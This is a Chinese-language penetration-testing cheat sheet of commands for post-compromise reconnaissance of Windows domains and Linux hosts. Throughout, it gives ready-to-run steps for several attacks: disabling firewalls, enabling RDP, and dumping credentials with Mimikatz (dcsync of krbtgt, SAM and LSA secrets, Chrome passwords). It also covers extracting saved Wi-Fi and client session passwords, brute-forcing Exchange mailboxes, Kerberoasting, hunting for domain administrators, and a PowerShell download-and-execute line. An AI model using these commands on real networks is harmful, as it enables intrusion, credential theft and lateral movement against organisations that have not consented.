内网信息收集命令速查
一 收集本机信息
1.1 手动收集信息
-
查询网络配置信息
ipconfig /all
ifconfig
-
查询操作系统及软件的信息
查询操作系统和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 版本" /C:"OS 名称"
Linux查看当前操作系统版本信息 cat /proc/version
查看版本当前操作系统内核信息 uname -a
查看版本当前操作系统发行信息 cat /etc/issue 或 cat /etc/centos-release
查看安装的软件及版本、路径等
wmic product get name,version
dpkg -l
rpm -qa
查询本机服务信息
wmic service list brief
查询进程列表
tasklist
wmic process list brief
top
查看启动程序信息
wmic startup get command,caption
ps -A
查看计划任务
schtasks /query /fo LIST /v
crontab -l
查询用户列表
net user
net localgroup administrators
query user || qwinsta ##在线用户查询
cat /etc/passwd
列出或断开本地计算机与所连接的客户端的回话
net session
查询端口列表
netstat -ano
netstat - atulnp
#利用netstat -ano命令获取机器通信信息,根据通信的端口、ip可以获取到如下信息。如果通信信息是入流量,则可以获取到跳板机/堡垒机、管理员的PC来源IP、本地web应用端口等信息;如果通信信息是出流量,则可以获取到敏感端口(redis、mysql、mssql等)、API端口等信息。
查看补丁列表
systeminfo
wmic qfe get caption,description,hotfixid,installedon
查询本机共享列表
net share
查询路由表及所有可用接口的ARP缓存表
route print
arp -a
查询防火墙相关配置
netsh firewall set opmode disable #winserver2003及之前版本 关闭防火墙 netsh advfirewall set allprofiles state off #winserver2003之后版本 关闭防火墙 netsh firewall show config #查看防火墙配置 netsh firewall add allowedprogram c:\nc.exe "allow nc" enable #Windows Server 2003 系统及之前版本,允许指定程序全部连接 netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe" #Windows Server 2003 之后系统版本允许指定程序连入 netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe" # 允许指定程序连出 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow #允许 3389 端口放行 netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log" #自定义防火墙日志储存位置
查看计算机代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
查询并开启远程连接服务
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber #查看远程连接端口 wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 #在 Windows Server 2003 中开启 3389 端口
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1 reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
#在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端口
1.2 自动收集信息
利用WMIC脚本收集信息
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar
1.3 Empire下的主机信息收集
usemodule situational_awareness/host/winenum # 查看本机用户、域组成员、最后的密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息
situational_awareness/host/computerdetails #目标主机事件日志、应用程序控制策略日志,包括 RDP 登录信息、PowerShell 脚本运行和保存的信息等,需要管理员权限。
1.4 SPN
SPN:服务主体名称。使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,
快速寻找内网中注册的服务,SPN扫描可以规避像端口扫描的不确定性探测动作。
主要利用工具有:setspn、GetUserSPNs.vbs和Rubeus。
- 利用Windows自带的setspn工具,普通域用户权限执行即可:
setspn -T domain.com -Q */* #domain为域名
- 利用GetUserSPNs.vbs也可以获取spn结果:
cscript GetUserSPNs.vbs
- Rubeus工具是Harmj0y开发用于测试Kerberos的利用工具。
Rubeus.exe kerberoast
1.5 配置文件
一个正常的Web应用肯定有对应的数据库账号密码信息,可以使用如下命令寻找包含密码字段的文件: cd /web findstr /s /m "password" *.* 下面是常用应用的默认配置路径: Tomcat: CATALINA_HOME/conf/tomcat-users.xml Apache: /etc/httpd/conf/httpd.conf Nginx: /etc/nginx/nginx.conf Wdcp: /www/wdlinux/wdcp/conf/mrpw.conf Mysql: mysql\data\mysql\user.MYD
1.6 凭据收集
-
navicat:
MySQL HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your connection name> MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your connection name> MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your connection name> Microsoft SQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your connection name> Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your connection name> PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your connection name> SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your connection name>
-
SecureCRT:
xp/win2003 C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions win7/win2008以上 C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions
- Xshell
Xshell 5 %userprofile%\Documents\NetSarang\Xshell\Sessions Xshell 6 %userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions
- 其他
WinSCP: HKCU\Software\Martin Prikryl\WinSCP 2\Sessions VNC: RealVNC HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver Password TightVNC HKEY_CURRENT_USER\Software\TightVNC\Server Value Password or PasswordViewOnly TigerVNC HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 Password UltraVNC C:\Program Files\UltraVNC\ultravnc.ini passwd or passwd2 提取 KRBTGT用户帐户的密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit 管理员用户帐户提取密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit 发现远程登录密码等密码 netpass.exe https://www.nirsoft.net/utils/network_password_recovery.html 获取window vpn密码: mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit
wifi密码: netsh wlan show profile 查处wifi名下一条命令用 netsh wlan show profile WiFi-name key=clear
通过如下命令获取连接过的wifi密码:
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear ie代理 reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings" pac代理 reg query "HKEY_USERSS-1-5-21-1563011143-1171140764-1273336227-500SoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v AutoConfigURL
浏览器
解密Chrome密码:mimikatz dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
解密Credential:mimikatz vault::cred /patch
1.7 Exchange
1. 邮箱用户密码爆破
使用ruler工具对owa接口进行爆破: ./ruler --domain targetdomain.com brute --users /path/to/user.txt --passwords /path/to/passwords.txt ruler工具会自动搜索owa可以爆破的接口,如: https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml 其他如ews接口也存在被暴力破解利用的风险: https://mail.targetdomain.com/ews
2. 通讯录收集
在获取一个邮箱账号密码后,可以使用MailSniper收集通讯录,当拿到通讯录后,可以再次利用上述爆破手段继续尝试弱密码,但是记住,密码次数不要太多,很有可能会造成域用户锁定: Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
3. 信息收集
当我们拿下exchange服务器后,可以做一些信息收集,包括不限于用户、邮件。 获取所有邮箱用户: Get-Mailbox 导出邮件: New-MailboxexportRequest -mailbox username -FilePath ("\\localhost\c$\test\username.pst") 也可以通过web口导出,登录: https://mail.domain.com/ecp/ 导出后会有记录,用如下命令可以查看: Get-MailboxExportRequest 删除某个导出记录: Remove-MailboxExportRequest -Identity 'username\mailboxexport' -Confirm:$false
二 查询当前权限
2.1 查看当前权限
woami
2.2 获取域UID
whoami /all
2.3 查询指定账户的详细信息
net user ca1m /domain
2.4 判断是否有域
ipconfig /all #查看网关 IP 地址、DNS 的 IP 地址、本地地址是否和 DNS 服务器为同一网段、域名
nslookup 域名#通过反向解析查询命令 nslookup 来解析域名的 IP 地址。使用解析出来的 IP 地址进行对比,判断域控制器和 DNS 服务器是否在同一台服务器上
systeminfo #域显示不为workgroup 说明有域
net config workstation #工作站域 DNS 名称显示域名(如果显示为 WORKGROUP,则表示非域环境)。登录域表明当前用户是域用户登录还是本地用户登录。
net time /domain #判断主域。存在域,但是当前用户不是域用户,提示拒绝访问;存在域,是域用户,提示成功完成;不存在域,提示找不到域控制器。
2.5 探测域内存活主机
net view #查看共享资料
arp -a #查看arp表
cat /etc/hosts #查看hosts文件-linux
type c:\Windows\system32\drivers\etc\hosts #查看hosts文件-windows
利用工具:
nbt.exe 192.168.1.1/24 #需要上传nbt.exe到服务器上面
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=" #利用ICMP协议快速探测内网
arp.exe –t 192.168.1.0/20 #arp-scan工具,需要上传arp.exe
usemodule situational_awareness/network/arpscan set range 192.168.1.1-192.168.1.254 execute #使用Empire 中的 arpsan 模块
powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\InvokeARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/24}" >> C:\windows\temp\log.txt #使用 Nishang 中的 Invoke-ARPScan.ps1 脚本,可以将脚本上传到目标主机执行,也可以直接 远程加载执行
scanline -h -t 22,80- 89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\log.txt -p 192.168.1.1-254 /b #使用ScanLine对常规 TCP/UDP 端口扫描探测内网
2.6 扫描域内端口
telnet 主机名 端口号 #使用telnet命令 S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save #S扫描器 search portscan #msf端口扫描
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMaf ia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt" #PowerSploit 中的 Invoke-Portscan.ps1 脚本
Invoke-PortScan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 - ResolveHost #使用Nishang下的Invoke-PortScan 模块
2.7 收集域内基础信息
net view /domain #查询域
net view /domain:XXX #查询此域内所有计算机
net group /domain #查询域内所有用户组列表
net group "domain computers" /domain #查询所有域成员计算机列表
net accounts /domain #获取域密码信息
nltest /domain_trusts #获取域信任信息
2.8 查找域控制器
nltest /DCLIST:XXX #查看域内控制器的机器名
nslookup -type=SRV _ldap._tcp #查看域控制器的主机名
net time /domain #查看当前时间
net group "Domain Controllers" /domain #查看域控制器
netdom query pdc #查看域控制器
2.9 获取域内的用户和管理员信息
-
查询所有域用户列表
net user /domain #向域控制器进行查询
wmic useraccount get /all #获取域内用户详细信息
dsquery user #查看存在的用户
net localgroup administrators /domain #查询域内置本地管理员组用户
-
查询域管理员用户组
net group "domain admins" /domain #查询域管理员用户 net group "Enterprise Admins" /domain #查询管理员用户组
2.10 定位域管理员
-
常用域管理员定位工具
psloggedon.exe 下载:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon 命令:psloggedon [-] [-l] [-x] [\\computername|username] pveFindADUser.exe 下载:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn 命令:pveFindADUser.exe <参数> eg: pveadfinduser.exe -current netview.exe 下载:https://github.com/mubix/netview 命令:netview.exe <参数> Nmap 的 smb-enum-sessions.nse引擎 下载: https://nmap.org/nsedoc/scripts/smb-enum-sessions.html PowerView脚本 下载:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView Invoke-StealthUserHunter Invoke-UserHunter Empire 下的 user_hunter 模块 usemodule situational_awareness/network/powerview/user_hunter
2.11 查找域管理进程
-
本机检查
net group "Domain Admins" /domain #获取域管理员列表
tasklist /v #列出本机所有进程及进程用户
-
查询域控制器的域用户会话
net group "Domain Controllers" /domain #查询域控制器列表
net group "Domain Admins" /domain #收集域管理员列表
netsess.exe –h #收集所有活动域会话列表
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
#将域控制器列表添加到 dcs.txt 中,将域管理员列表添加到 admins.txt 中,并和 netsess.exe 放 在同一个目录下。运行如下脚本后,会在当前目录下生成一个 sessions.txt 文本文件 -
扫描远程系统上运行的任务
net group "Domain Admins" /domain #首先从“域管理员”组中收集域管理员的列表 然后使用下列脚本,其中 ips.txt 填入目标域系统的列表,在 names.txt 填入收集来的域管理员的列表: FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
-
扫描远程系统上 NetBIOS 信息
先收集域管理员列表,然后将目标域系统列表添加到 ips.txt 文件中,
将收集到的域管理员列表添加到 admins.txt 文件中,并置于同一目录下。 for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i 也可以使用 nbtscan 工具。先收集域管理员列表,然后将目标域系统列表添加到ips.txt 文件中,
将收集到的域管理员列表添加到 admins.txt 文件中,和 nbtscan 工具置于同一目录下 for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
2.12 利用 PowerShell 收集域信息
PowerView 是一款依赖 PowerShell 和 WMI 对内网域情况进行查询的常用渗透脚本。 PowerView 集成在 PowerSploit 工具包中,下载地址为 https://raw.githubusercontent.com/ PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1。 PowerView 中的常用命令如下。 Get-NetDomain:获取当前用户所在的域名称。 Get-NetUser:返回所有用户的详细信息。 Get-NetDomainController:获取所有域控制器。 Get-NetComputer:获取所有域内机器的详细信息。 Get-NetOU:获取域中的 OU 信息。 Get-NetGroup:获取所有域内组和组成员信息。 Get-NetFileServer:根据 SPN 获取当前域使用的文件服务器。 Get-NetShare:获取当前域内所有网络共享。 Get-NetSession:获取在指定服务器存在的会话信息。 Get-NetRDPSession:获取在指定服务器存在的远程连接信息。 Get-NetProcess:获取远程主机的进程信息。 Get-UserEvent:获取指定用户的日志信息。 Get-ADObject:获取活动目录的对象信息。 Get-NetGPO:获取域所有组策略对象。 Get-DomainPolicy:获取域默认或域控制器策略。 Invoke-UserHunter:用于获取域用户登录计算机及该用户是否有本地管理权限。 Invoke-ProcessHunter:查找域内所有机器进程用于找到某特定用户。 Invoke-UserEventHunter:根据用户日志获取某域用户登录过哪些域机器。
2.13 域渗透分析工具 BloodHound
安装准备一台安装有 Windows Server 操作系统的机器: 在 Neo4j 官方网站的社区服务版模块中选择“Windows”选项,并下载最新的 Neo4j 数据库安装包。Neo4j 数据库需要 Java 环境才能运行。下载完成并解压,打开 cmd 窗口,进入解压后的 bin 目录。在 cmd 下输入命令“neo4j.bat console”,启动 Neo4j 服务,看到服务成功启动的提示后,打开浏览器,输入地址“http://127.0.0.1:7474/browser/”。打开页 面后,输入账号和密码,Neo4j 默认的配置信息如下。 Host:http://127.0.0.1:7474。 User:neo4j。 Password:neo4j。 在 GitHub 的 BloodHound 项目中提供了其 Release 版本,下载地址为 https://github.com/ BloodHoundAD/BloodHound/releases/download/2.0.4/BloodHound-win32-x64.zip。 Database URL:bolt://localhost:7687。 DB Username:neo4j。 DB Password:123456。